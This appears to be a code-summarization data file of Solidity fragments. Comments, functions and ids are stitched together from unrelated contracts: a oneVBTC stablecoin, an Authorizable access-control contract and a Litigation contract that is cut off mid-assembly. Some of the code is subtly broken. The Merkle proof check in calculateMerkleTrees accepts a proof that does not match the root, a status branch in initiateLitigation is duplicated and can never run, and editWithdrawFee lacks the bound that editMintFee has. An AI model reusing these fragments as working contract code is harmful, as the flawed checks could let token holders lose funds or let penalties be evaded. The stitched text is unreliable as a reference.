// calculates how much you will need to send in order to mint oneVBTC, depending on current market prices + reserve ratio
// oneAmount: the amount of oneVBTC you want to mint
// collateral: the collateral you want to use to pay
// also works in the reverse direction, i.e. how much collateral + stimulus to receive when you burn One
function consultOneDeposit(uint256 oneAmount, address collateral)
public
view
returns (uint256, uint256)
{
require(oneAmount != 0, "must use valid oneAmount");
require(acceptedCollateral[collateral], "must be an accepted collateral");
uint256 stimulusUsd = getStimulusUSD(); // 10 ** 9
// convert to correct decimals for collateral
uint256 collateralAmount = oneAmount.mul(reserveRatio).div(MAX_RESERVE_RATIO).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);
collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral));
if (address(oneTokenOracle) == address(0)) return (collateralAmount, 0);
uint256 stimulusAmountInOneStablecoin = oneAmount.mul(MAX_RESERVE_RATIO.sub(reserveRatio)).div(MAX_RESERVE_RATIO);
uint256 stimulusAmount = stimulusAmountInOneStablecoin.mul(10 ** 9).div(stimulusUsd).mul(10 ** stimulusDecimals).div(10 ** DECIMALS); // must be 10 ** stimulusDecimals
return (collateralAmount, stimulusAmount);
}
function consultOneWithdraw(uint256 oneAmount, address collateral)
public
view
returns (uint256, uint256)
{
require(oneAmount != 0, "must use valid oneAmount");
require(previouslySeenCollateral[collateral], "must be an accepted collateral");
uint256 collateralAmount = oneAmount.sub(oneAmount.mul(withdrawFee).div(100 * 10 ** DECIMALS)).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);
collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral));
return (collateralAmount, 0);
}
// @title: deposit collateral + stimulus token
// collateral: address of the collateral to deposit (USDC, DAI, TUSD, etc)
function mint(
uint256 oneAmount,
address collateral
)
public
payable
nonReentrant
updateProtocol()
{
require(acceptedCollateral[collateral], "must be an accepted collateral");
require(oneAmount != 0, "must mint non-zero amount");
// wait 3 blocks to avoid flash loans
require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few more blocks");
// validate input amounts are correct
(uint256 collateralAmount, uint256 stimulusAmount) = consultOneDeposit(oneAmount, collateral);
require(collateralAmount <= IERC20(collateral).balanceOf(msg.sender), "sender has insufficient collateral balance");
require(stimulusAmount <= IERC20(stimulus).balanceOf(msg.sender), "sender has insufficient stimulus balance");
// checks passed, so transfer tokens
SafeERC20.safeTransferFrom(IERC20(collateral), msg.sender, address(this), collateralAmount);
SafeERC20.safeTransferFrom(IERC20(stimulus), msg.sender, address(this), stimulusAmount);
oneAmount = oneAmount.sub(oneAmount.mul(mintFee).div(100 * 10 ** DECIMALS)); // apply mint fee
oneAmount = oneAmount.sub(oneAmount.mul(collateralMintFee[collateral]).div(100 * 10 ** DECIMALS)); // apply collateral fee
_totalSupply = _totalSupply.add(oneAmount);
_oneBalances[msg.sender] = _oneBalances[msg.sender].add(oneAmount);
emit Transfer(address(0x0), msg.sender, oneAmount);
_lastCall[msg.sender] = block.number;
emit Mint(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, oneAmount);
}
// fee_ should be 10 ** 9 decimals (e.g. 10% = 10 * 10 ** 9)
function editMintFee(uint256 fee_)
external
onlyIchiGov
{
require(fee_ <= 100 * 10 ** 9, "Fee must be valid");
mintFee = fee_;
emit MintFee(fee_);
}
// fee_ should be 10 ** 9 decimals (e.g. 10% = 10 * 10 ** 9)
function editWithdrawFee(uint256 fee_)
external
onlyIchiGov
{
withdrawFee = fee_;
emit WithdrawFee(fee_);
}
/// burns stablecoin and increments _burnedStablecoin mapping for user
/// user can claim collateral in a 2nd step below
function withdraw(
uint256 oneAmount,
address collateral
)
public
nonReentrant
updateProtocol()
{
require(oneAmount != 0, "must withdraw non-zero amount");
require(oneAmount <= _oneBalances[msg.sender], "insufficient balance");
require(previouslySeenCollateral[collateral], "must be an existing collateral");
require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few blocks");
// burn oneAmount
_totalSupply = _totalSupply.sub(oneAmount);
_oneBalances[msg.sender] = _oneBalances[msg.sender].sub(oneAmount);
_burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].add(oneAmount);
_lastCall[msg.sender] = block.number;
emit Transfer(msg.sender, address(0x0), oneAmount);
}
// 2nd step for withdrawal of collateral
// this 2 step withdrawal is important for prevent flash-loan style attacks
// flash-loan style attacks try to use loops/complex arbitrage strategies to
// drain collateral so adding a 2-step process prevents any potential attacks
// because all flash-loans must be repaid within 1 tx and 1 block
/// @notice If you are interested, I would recommend reading: https://slowmist.medium.com/
/// also https://cryptobriefing.com/50-million-lost-the-top-19-defi-cryptocurrency-hacks-2020/
function withdrawFinal(address collateral, uint256 amount)
public
nonReentrant
updateProtocol()
{
require(previouslySeenCollateral[collateral], "must be an existing collateral");
require((_lastCall[msg.sender] + MIN_DELAY) <= block.number, "action too soon - please wait a few blocks");
uint256 oneAmount = _burnedStablecoin[msg.sender];
require(oneAmount != 0, "insufficient oneVBTC to redeem");
require(amount <= oneAmount, "insufficient oneVBTC to redeem");
_burnedStablecoin[msg.sender] = _burnedStablecoin[msg.sender].sub(amount);
// send collateral - fee (convert to collateral decimals too)
uint256 collateralAmount = amount.sub(amount.mul(withdrawFee).div(100 * 10 ** DECIMALS)).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);
collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral));
uint256 stimulusAmount = 0;
// check enough reserves - don't want to burn one coin if we cannot fulfill withdrawal
require(collateralAmount <= IERC20(collateral).balanceOf(address(this)), "insufficient collateral reserves - try another collateral");
SafeERC20.safeTransfer(IERC20(collateral), msg.sender, collateralAmount);
_lastCall[msg.sender] = block.number;
emit Withdraw(stimulus, msg.sender, collateral, collateralAmount, stimulusAmount, amount);
}
// internal function used to set the reserve ratio of the token
// must be between MIN / MAX Reserve Ratio, which are constants
// cannot be 0
function setReserveRatio(uint256 newRatio_)
internal
{
require(newRatio_ >= 0, "positive reserve ratio");
if (newRatio_ <= MAX_RESERVE_RATIO && newRatio_ >= MIN_RESERVE_RATIO) {
reserveRatio = newRatio_;
emit NewReserveRate(reserveRatio);
}
}
/// @notice easy function transfer ETH (not WETH)
function safeTransferETH(address to, uint value)
public
oneLPGov
{
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'ETH_TRANSFER_FAILED');
}
/// @notice easy funtion to move stimulus to a new location
// location: address to send to
// amount: amount of stimulus to send (use full decimals)
function moveStimulus(
address location,
uint256 amount
)
public
oneLPGov
{
SafeERC20.safeTransfer(IERC20(stimulus), location, amount);
}
// can execute any abstract transaction on this smart contrat
// target: address / smart contract you are interracting with
// value: msg.value (amount of eth in WEI you are sending. Most of the time it is 0)
// signature: the function signature (name of the function and the types of the arguments).
// for example: "transfer(address,uint256)", or "approve(address,uint256)"
// data: abi-encodeded byte-code of the parameter values you are sending. See "./encode.js" for Ether.js library function to make this easier
function executeTransaction(address target, uint value, string memory signature, bytes memory data) public payable oneLPGov returns (bytes memory) {
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "oneVBTC::executeTransaction: Transaction execution reverted.");
return returnData;
}
}
|
calculates how much you will need to send in order to mint oneVBTC, depending on current market prices + reserve ratio oneAmount: the amount of oneVBTC you want to mint collateral: the collateral you want to use to pay also works in the reverse direction, i.e. how much collateral + stimulus to receive when you burn One convert to correct decimals for collateral
|
function consultOneDeposit(uint256 oneAmount, address collateral)
public
view
returns (uint256, uint256)
{
require(oneAmount != 0, "must use valid oneAmount");
require(acceptedCollateral[collateral], "must be an accepted collateral");
uint256 collateralAmount = oneAmount.mul(reserveRatio).div(MAX_RESERVE_RATIO).mul(10 ** collateralDecimals[collateral]).div(10 ** DECIMALS);
collateralAmount = collateralAmount.mul(10 ** 9).div(getCollateralUsd(collateral));
if (address(oneTokenOracle) == address(0)) return (collateralAmount, 0);
uint256 stimulusAmountInOneStablecoin = oneAmount.mul(MAX_RESERVE_RATIO.sub(reserveRatio)).div(MAX_RESERVE_RATIO);
return (collateralAmount, stimulusAmount);
}
| 6,737,106
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/Authorizable.sol
/**
* @title Authorizable
* @author Francesco Sullo <francesco@sullo.co>
* @dev The Authorizable contract provides governance.
*/
contract Authorizable /** 0.1.9 */ is Ownable {
uint public totalAuthorized;
mapping(address => uint) public authorized;
address[] internal __authorized;
event AuthorizedAdded(address _authorizer, address _authorized, uint _level);
event AuthorizedRemoved(address _authorizer, address _authorized);
uint public maxLevel = 64;
uint public authorizerLevel = 56;
bool public selfRevoke = true;
mapping (uint => bool) public selfRevokeException;
/**
* @dev Set the range of levels accepted by the contract
* @param _maxLevel The max level acceptable
* @param _authorizerLevel The minimum level to qualify a wallet as authorizer
*/
function setLevels(uint _maxLevel, uint _authorizerLevel) external onlyOwner {
// this must be called before authorizing any address
require(totalAuthorized == 0);
require(_maxLevel > 0 && _authorizerLevel > 0);
require(_maxLevel >= _authorizerLevel);
maxLevel = _maxLevel;
authorizerLevel = _authorizerLevel;
}
/**
* @dev Allows to decide if users will be able to self revoke their level
* @param _selfRevoke The new value
*/
function setSelfRevoke(bool _selfRevoke) onlyOwner external {
selfRevoke = _selfRevoke;
}
/**
* @dev Allows to set exceptions to selfRevoke when this is true
* @param _level The level not allowed to self-revoke
* @param _isActive `true` adds the lock, `false` removes it
*/
function addSelfRevokeException(uint _level, bool _isActive) onlyOwner external {
selfRevokeException[_level] = _isActive;
}
/**
* @dev Throws if called by any account which is not authorized.
*/
modifier onlyAuthorized() {
require(authorized[msg.sender] > 0);
_;
}
/**
* @dev Throws if called by any account which is not
* authorized at a specific level.
* @param _level Level required
*/
modifier onlyAuthorizedAtLevel(uint _level) {
require(authorized[msg.sender] == _level);
_;
}
/**
* @dev Throws if called by any account which is not authorized
* at some of the specified levels.
* @param _levels Levels required
*/
modifier onlyAuthorizedAtLevels(uint[] _levels) {
require(__hasLevel(authorized[msg.sender], _levels));
_;
}
/**
* @dev Throws if called by any account which has
* a level of authorization not in the interval
* @param _minLevel Minimum level required
* @param _maxLevel Maximum level required
*/
modifier onlyAuthorizedAtLevelsWithin(uint _minLevel, uint _maxLevel) {
require(authorized[msg.sender] >= _minLevel && authorized[msg.sender] <= _maxLevel);
_;
}
/**
* @dev same modifiers above, but including the owner
*/
modifier onlyOwnerOrAuthorized() {
require(msg.sender == owner || authorized[msg.sender] > 0);
_;
}
modifier onlyOwnerOrAuthorizedAtLevel(uint _level) {
require(msg.sender == owner || authorized[msg.sender] == _level);
_;
}
modifier onlyOwnerOrAuthorizedAtLevels(uint[] _levels) {
require(msg.sender == owner || __hasLevel(authorized[msg.sender], _levels));
_;
}
modifier onlyOwnerOrAuthorizedAtLevelsIn(uint _minLevel, uint _maxLevel) {
require(msg.sender == owner || (authorized[msg.sender] >= _minLevel && authorized[msg.sender] <= _maxLevel));
_;
}
/**
* @dev Throws if called by anyone who is not an authorizer.
*/
modifier onlyAuthorizer() {
require(msg.sender == owner || authorized[msg.sender] >= authorizerLevel);
_;
}
/**
* @dev Allows to add a new authorized address, or remove it, setting _level to 0
* @param _address The address to be authorized
* @param _level The level of authorization
*/
function authorize(address _address, uint _level) onlyAuthorizer external {
__authorize(_address, _level);
}
/**
* @dev Allows to add a list of new authorized addresses.
* Useful, for example, with whitelists
* @param _addresses Array of addresses to be authorized
* @param _level The level of authorization
*/
function authorizeBatch(address[] _addresses, uint _level) onlyAuthorizer external {
require(_level > 0);
for (uint i = 0; i < _addresses.length; i++) {
__authorize(_addresses[i], _level);
}
}
/**
* @dev Allows to remove all the authorizations. Callable by the owner only.
* We check the gas to avoid going out of gas when there are tons of
* authorized addresses (for example when used for a whitelist).
* If at the end of the operation there are still authorized
* wallets the operation must be repeated.
*/
function deAuthorizeAll() onlyOwner external {
for (uint i = 0; i < __authorized.length && gasleft() > 33e3; i++) {
if (__authorized[i] != address(0)) {
__authorize(__authorized[i], 0);
}
}
}
/**
* @dev Allows to remove all the authorizations at a specific level.
* @param _level The level of authorization
*/
function deAuthorizeAllAtLevel(uint _level) onlyAuthorizer external {
for (uint i = 0; i < __authorized.length && gasleft() > 33e3; i++) {
if (__authorized[i] != address(0) && authorized[__authorized[i]] == _level) {
__authorize(__authorized[i], 0);
}
}
}
/**
* @dev Allows an authorized to de-authorize itself.
*/
function deAuthorize() onlyAuthorized external {
require(selfRevoke == true && selfRevokeException[authorized[msg.sender]] == false);
__authorize(msg.sender, 0);
}
/**
* @dev Performs the actual authorization/de-authorization
* If there's no change, it doesn't emit any event, to reduce gas usage.
* @param _address The address to be authorized
* @param _level The level of authorization. 0 to remove it.
*/
function __authorize(address _address, uint _level) internal {
require(_address != address(0));
require(_level <= maxLevel);
uint i;
if (_level > 0 && authorized[_address] != _level) {
bool alreadyIndexed = false;
for (i = 0; i < __authorized.length; i++) {
if (__authorized[i] == _address) {
alreadyIndexed = true;
break;
}
}
if (alreadyIndexed == false) {
bool emptyFound = false;
// before we try to reuse an empty element of the array
for (i = 0; i < __authorized.length; i++) {
if (__authorized[i] == 0) {
__authorized[i] = _address;
emptyFound = true;
break;
}
}
if (emptyFound == false) {
__authorized.push(_address);
}
totalAuthorized++;
}
emit AuthorizedAdded(msg.sender, _address, _level);
authorized[_address] = _level;
} else if (_level == 0 && authorized[_address] > 0) {
for (i = 0; i < __authorized.length; i++) {
if (__authorized[i] == _address) {
__authorized[i] = address(0);
totalAuthorized--;
emit AuthorizedRemoved(msg.sender, _address);
delete authorized[_address];
break;
}
}
}
}
/**
* @dev Check is a level is included in an array of levels. Used by modifiers
* @param _level Level to be checked
* @param _levels Array of required levels
*/
function __hasLevel(uint _level, uint[] _levels) internal pure returns (bool) {
bool has = false;
for (uint i; i < _levels.length; i++) {
if (_level == _levels[i]) {
has = true;
break;
}
}
return has;
}
/**
* @dev Allows a wallet to check if it is authorized
*/
function amIAuthorized() external constant returns (bool) {
return authorized[msg.sender] > 0;
}
/**
* @dev Allows any authorizer to get the list of the authorized wallets
*/
function getAuthorized() external onlyAuthorizer constant returns (address[]) {
return __authorized;
}
}
|
Allows an authorized to de-authorize itself./
|
function deAuthorize() onlyAuthorized external {
require(selfRevoke == true && selfRevokeException[authorized[msg.sender]] == false);
__authorize(msg.sender, 0);
}
| 950,869
|
pragma solidity ^0.4.25;
import {SafeMath} from "./SafeMath.sol";
import {ERC725} from './ERC725.sol';
import {Hub} from "./Hub.sol";
import {Holding} from "./Holding.sol";
import {Profile} from "./Profile.sol";
import {HoldingStorage} from "./HoldingStorage.sol";
import {ProfileStorage} from "./ProfileStorage.sol";
import {LitigationStorage} from "./LitigationStorage.sol";
contract Litigation {
using SafeMath for uint256;
Hub public hub;
constructor (address hubAddress) public {
hub = Hub(hubAddress);
}
function setHubAddress(address newHubAddress) public {
require(hub.isContract(msg.sender), "This function can only be called by contracts or their creator!");
hub = Hub(newHubAddress);
}
/* ----------------------------- LITIGATION ----------------------------- */
event LitigationInitiated(bytes32 offerId, address holderIdentity, uint requestedObjectIndex, uint requestedBlockIndex);
event LitigationAnswered(bytes32 offerId, address holderIdentity);
event LitigationTimedOut(bytes32 offerId, address holderIdentity);
event LitigationCompleted(bytes32 offerId, address holderIdentity, bool DH_was_penalized);
event ReplacementStarted(bytes32 offerId, address holderIdentity, address challengerIdentity, bytes32 litigationRootHash);
function initiateLitigation(bytes32 offerId, address holderIdentity, address challengerIdentity,
uint requestedObjectIndex, uint requestedBlockIndex, bytes32[] hashArray)
public returns (bool newLitigationInitiated){
HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage"));
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
require(holdingStorage.getOfferCreator(offerId) == challengerIdentity, "Challenger identity not equal to offer creator identity!");
require(ERC725(challengerIdentity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)),2), "Sender does not have action purpose set!");
LitigationStorage.LitigationStatus litigationStatus = litigationStorage.getLitigationStatus(offerId, holderIdentity);
uint256[] memory parameters = new uint256[](2);
// Set parameters[0] as timestamp
parameters[0] = litigationStorage.getLitigationTimestamp(offerId, holderIdentity);
// Set parameters[1] as the litigationIntervalInSeconds
parameters[1] = holdingStorage.getOfferLitigationIntervalInMinutes(offerId).mul(60);
require(litigationStatus != LitigationStorage.LitigationStatus.replacing,
"The selected holder is already being replaced, cannot initiate litigation!");
require(litigationStatus != LitigationStorage.LitigationStatus.replaced,
"The selected holder is already replaced, cannot initiate litigation!");
require(offerIsActive(offerId, holderIdentity),"Cannot initiate litigation for a completed offer!");
if(litigationStatus == LitigationStorage.LitigationStatus.initiated) {
require(parameters[0] + parameters[1].mul(3) < block.timestamp,
"The litigation is initiated and awaiting holder response, cannot initiate another litigation!");
} else if(litigationStatus == LitigationStorage.LitigationStatus.answered) {
require(parameters[0] + parameters[1].mul(2) < block.timestamp,
"The litigation is answered and awaiting previous litigator response, cannot initiate another litigation!");
} else if(litigationStatus == LitigationStorage.LitigationStatus.initiated) {
require(parameters[0] + parameters[1] < block.timestamp,
"The litigation interval has not passed yet, cannot initiate another litigation!");
}
// Write litigation information into the storage
litigationStorage.setLitigationLitigatorIdentity(offerId, holderIdentity, challengerIdentity);
litigationStorage.setLitigationRequestedObjectIndex(offerId, holderIdentity, requestedObjectIndex);
litigationStorage.setLitigationRequestedBlockIndex(offerId, holderIdentity, requestedBlockIndex);
litigationStorage.setLitigationHashArray(offerId, holderIdentity, hashArray);
litigationStorage.setLitigationStatus(offerId, holderIdentity, LitigationStorage.LitigationStatus.initiated);
litigationStorage.setLitigationTimestamp(offerId, holderIdentity, block.timestamp);
emit LitigationInitiated(offerId, holderIdentity, requestedObjectIndex, requestedBlockIndex);
return true;
}
function answerLitigation(bytes32 offerId, address holderIdentity, bytes32 requestedData)
public returns (bool answer_accepted){
HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage"));
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
require(ERC725(holderIdentity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)),2), "Sender does not have action purpose set!");
LitigationStorage.LitigationStatus litigationStatus = litigationStorage.getLitigationStatus(offerId, holderIdentity);
require(litigationStatus == LitigationStorage.LitigationStatus.initiated,
"Litigation status is not set to initiated, cannot send answer!");
require(litigationStorage.getLitigationTimestamp(offerId, holderIdentity) + holdingStorage.getOfferLitigationIntervalInMinutes(offerId).mul(60) >= block.timestamp,
"The interval for answering has passed, cannot answer litigation!");
// Write answer data into the hash
litigationStorage.setLitigationRequestedData(
offerId,
holderIdentity,
keccak256(abi.encodePacked(
requestedData,
litigationStorage.getLitigationRequestedObjectIndex(offerId, holderIdentity),
litigationStorage.getLitigationRequestedBlockIndex(offerId, holderIdentity)
))
);
litigationStorage.setLitigationStatus(offerId, holderIdentity, LitigationStorage.LitigationStatus.answered);
litigationStorage.setLitigationTimestamp(offerId, holderIdentity, block.timestamp);
emit LitigationAnswered(offerId, holderIdentity);
return true;
}
function completeLitigation(bytes32 offerId, address holderIdentity, address litigatorIdentity, bytes32 proofData, uint256 leafIndex)
public returns (bool DH_was_penalized){
HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage"));
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
ProfileStorage profileStorage = ProfileStorage(hub.getContractAddress("ProfileStorage"));
require(holdingStorage.getOfferCreator(offerId) == litigatorIdentity, "Challenger identity not equal to offer creator identity!");
require(ERC725(litigatorIdentity).keyHasPurpose(keccak256(abi.encodePacked(msg.sender)),2), "Sender does not have action purpose set!");
require(litigationStorage.getLitigationLitigatorIdentity(offerId, holderIdentity) == litigatorIdentity, "Litigation can only be completed by the litigator who initiated the litigation!");
uint256[] memory parameters = new uint256[](4);
// set parameters[0] as the last litigation timestamp
parameters[0] = litigationStorage.getLitigationTimestamp(offerId, holderIdentity);
// set parameters[1] as the litigation interval in seconds
parameters[1] = holdingStorage.getOfferLitigationIntervalInMinutes(offerId).mul(60);
LitigationStorage.LitigationStatus litigationStatus = litigationStorage.getLitigationStatus(offerId, holderIdentity);
require(litigationStatus != LitigationStorage.LitigationStatus.replacing,
"The selected holder is already being replaced, cannot call this function!");
require(litigationStatus != LitigationStorage.LitigationStatus.replaced,
"The selected holder is already replaced, cannot call this function!");
require(litigationStatus != LitigationStorage.LitigationStatus.completed,
"Cannot complete a completed litigation that is not initiated or answered!");
if(holdingStorage.getHolderLitigationEncryptionType(offerId, holderIdentity) == 0){
parameters[3] = uint256(holdingStorage.getOfferRedLitigationHash(offerId));
} else if (holdingStorage.getHolderLitigationEncryptionType(offerId, holderIdentity) == 1) {
parameters[3] = uint256(holdingStorage.getOfferGreenLitigationHash(offerId));
} else {
parameters[3] = uint256(holdingStorage.getOfferBlueLitigationHash(offerId));
}
if(litigationStatus == LitigationStorage.LitigationStatus.initiated) {
// Litigator claims that the DH is inactive
// Verify that the asnwer window has passes and that the completion window has not passed
require(parameters[0] + parameters[1].mul(2) >= block.timestamp,
"The time window for completing the unanswered litigation has passed!");
require(parameters[0] + parameters[1] < block.timestamp,
"The answer window has not passed, cannot complete litigation yet!");
if(calculateMerkleTrees(offerId, holderIdentity, proofData, bytes32(parameters[3]), leafIndex)) {
// DH has the reRquested data -> Set litigation as completed, no transfer of tokens
litigationStorage.setLitigationStatus(offerId, holderIdentity, LitigationStorage.LitigationStatus.completed);
litigationStorage.setLitigationTimestamp(offerId, holderIdentity, block.timestamp);
emit LitigationCompleted(offerId, holderIdentity, false);
return false;
}
else {
// DH didn't have the requested data, and the litigation was valid
startReplacement(offerId, holderIdentity, litigatorIdentity, parameters[3]);
return true;
}
}
// The litigation status is answered, verify that the completion is happening during the completion time frame
require(parameters[0] + parameters[1] >= block.timestamp,
"The time window for completing the answered litigation has passed!");
if(calculateMerkleTrees(offerId, holderIdentity, proofData, bytes32(parameters[3]), leafIndex)) {
// DH has the reRquested data -> Set litigation as completed, no transfer of tokens
litigationStorage.setLitigationStatus(offerId, holderIdentity, LitigationStorage.LitigationStatus.completed);
litigationStorage.setLitigationTimestamp(offerId, holderIdentity, block.timestamp);
emit LitigationCompleted(offerId, holderIdentity, false);
return false;
}
else {
// DH didn't have the requested data, and the litigation was valid
startReplacement(offerId, holderIdentity, litigatorIdentity, parameters[3]);
return true;
}
}
function startReplacement(bytes32 offerId, address holderIdentity, address litigatorIdentity, uint256 litigationRootHash) internal {
HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage"));
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
ProfileStorage profileStorage = ProfileStorage(hub.getContractAddress("ProfileStorage"));
// Pay the previous holder
uint256 amountToTransfer = holdingStorage.getOfferTokenAmountPerHolder(offerId);
// Multiply the tokenAmountPerHolder by the time the the holder held the data
amountToTransfer = amountToTransfer.mul(litigationStorage.getLitigationTimestamp(offerId, holderIdentity).sub(holdingStorage.getHolderPaymentTimestamp(offerId, holderIdentity)));
// Divide the tokenAmountPerHolder by the total time
amountToTransfer = amountToTransfer.div(holdingStorage.getOfferHoldingTimeInMinutes(offerId).mul(60));
require(holdingStorage.getHolderPaidAmount(offerId, holderIdentity).add(amountToTransfer) < holdingStorage.getHolderStakedAmount(offerId, holderIdentity),
"Holder considered to successfully completed offer, cannot complete litigation!");
// Pay the previous holder
// Increase previous holder Stake
profileStorage.setStake(holderIdentity, profileStorage.getStake(holderIdentity).add(amountToTransfer));
// Decrease offer creator Stake
profileStorage.setStake(litigatorIdentity, profileStorage.getStake(litigatorIdentity).sub(amountToTransfer));
// Decrease offer creator Stake reserved
profileStorage.setStakeReserved(litigatorIdentity, profileStorage.getStakeReserved(litigatorIdentity).sub(amountToTransfer));
// Set previous holder paid amount
holdingStorage.setHolderPaidAmount(
offerId,
holderIdentity,
holdingStorage.getHolderPaidAmount(offerId, holderIdentity).add(amountToTransfer)
);
// Calculate the remaining amount of tokens
amountToTransfer = holdingStorage.getHolderStakedAmount(offerId, holderIdentity).sub(holdingStorage.getHolderPaidAmount(offerId, holderIdentity));
// Unlock previous holder stake
profileStorage.setStakeReserved(
holderIdentity,
profileStorage.getStakeReserved(holderIdentity).sub(holdingStorage.getHolderStakedAmount(offerId, holderIdentity))
);
// Give the offer creator the reward for litigation
// Decrease previous holder Stake
profileStorage.setStake(holderIdentity, profileStorage.getStake(holderIdentity).sub(amountToTransfer));
// Increase offer creator Stake
profileStorage.setStake(litigatorIdentity, profileStorage.getStake(litigatorIdentity).add(amountToTransfer));
// Unlock offer creator's remaining tokens reserved for payment
profileStorage.setStakeReserved(litigatorIdentity, profileStorage.getStakeReserved(litigatorIdentity).sub(amountToTransfer));
litigationStorage.setLitigationStatus(offerId, holderIdentity, LitigationStorage.LitigationStatus.replaced);
litigationStorage.setLitigationTimestamp(offerId, holderIdentity, block.timestamp);
emit LitigationCompleted(offerId, holderIdentity, true);
}
function offerIsActive(bytes32 offerId, address holderIdentity)
internal view returns (bool offerIsActive) {
HoldingStorage holdingStorage = HoldingStorage(hub.getContractAddress("HoldingStorage"));
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
// Pay the previous holder
uint256 amountToTransfer = holdingStorage.getOfferTokenAmountPerHolder(offerId);
// Multiply the tokenAmountPerHolder by the time the the holder held the data
amountToTransfer = amountToTransfer.mul((block.timestamp).sub(holdingStorage.getHolderPaymentTimestamp(offerId, holderIdentity)));
// Divide the tokenAmountPerHolder by the total time
amountToTransfer = amountToTransfer.div(holdingStorage.getOfferHoldingTimeInMinutes(offerId).mul(60));
if (amountToTransfer.add(holdingStorage.getHolderPaidAmount(bytes32(offerId), holderIdentity))
>= holdingStorage.getHolderStakedAmount(bytes32(offerId), holderIdentity)) {
return false;
} else {
return true;
}
}
function calculateMerkleTrees(bytes32 offerId, address holderIdentity, bytes32 proofData, bytes32 litigationRootHash, uint256 leafIndex)
internal returns (bool DHAnsweredCorrectly) {
LitigationStorage litigationStorage = LitigationStorage(hub.getContractAddress("LitigationStorage"));
uint256[] memory parameters = new uint256[](2);
// set parameters[0] as the index
parameters[0] = 0;
// set parameters[1] as a basic bit for masking
parameters[1] = 1;
bytes32 answerHash = litigationStorage.getLitigationRequestedData(offerId, holderIdentity);
bytes32 proofHash = keccak256(abi.encodePacked(
proofData,
litigationStorage.getLitigationRequestedObjectIndex(offerId, holderIdentity),
litigationStorage.getLitigationRequestedBlockIndex(offerId, holderIdentity)
));
bytes32[] memory hashArray = litigationStorage.getLitigationHashArray(offerId, holderIdentity);
// ako je bit 1 on je levo
while (parameters[0] < hashArray.length){
uint256 selectedBit = parameters[1] << parameters[0];
selectedBit = selectedBit & leafIndex;
if(selectedBit != 0) {
proofHash = keccak256(abi.encodePacked(hashArray[parameters[0]], proofHash));
answerHash = keccak256(abi.encodePacked(hashArray[parameters[0]], answerHash));
}
else {
proofHash = keccak256(abi.encodePacked(proofHash, hashArray[parameters[0]]));
answerHash = keccak256(abi.encodePacked(answerHash, hashArray[parameters[0]]));
}
parameters[0] = parameters[0] + 1;
}
return (answerHash == litigationRootHash || proofHash != litigationRootHash);
}
function logs2(uint x) internal pure returns (uint y){
require(x > 0, "log(0) not allowed");
assembly {
let arg := x
x := sub(x,1)
x := or(x, div(x, 0x02))
x := or(x, div(x, 0x04))
x := or(x, div(x, 0x10))
x := or(x, div(x, 0x100))
x := or(x, div(x, 0x10000))
x := or(x, div(x, 0x100000000))
x := or(x, div(x, 0x10000000000000000))
x := or(x, div(x, 0x100000000000000000000000000000000))
x := add(x, 1)
let m := mload(0x40)
mstore(m, 0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
mstore(add(m,0x80), 0xf7cae577eec2a03cf3bad76fb589591debb2dd67e0aa9834bea6925f6a4a2e0e)
mstore(add(m,0xa0), 0xe39ed557db96902cd38ed14fad815115c786af479b7e83247363534337271707)
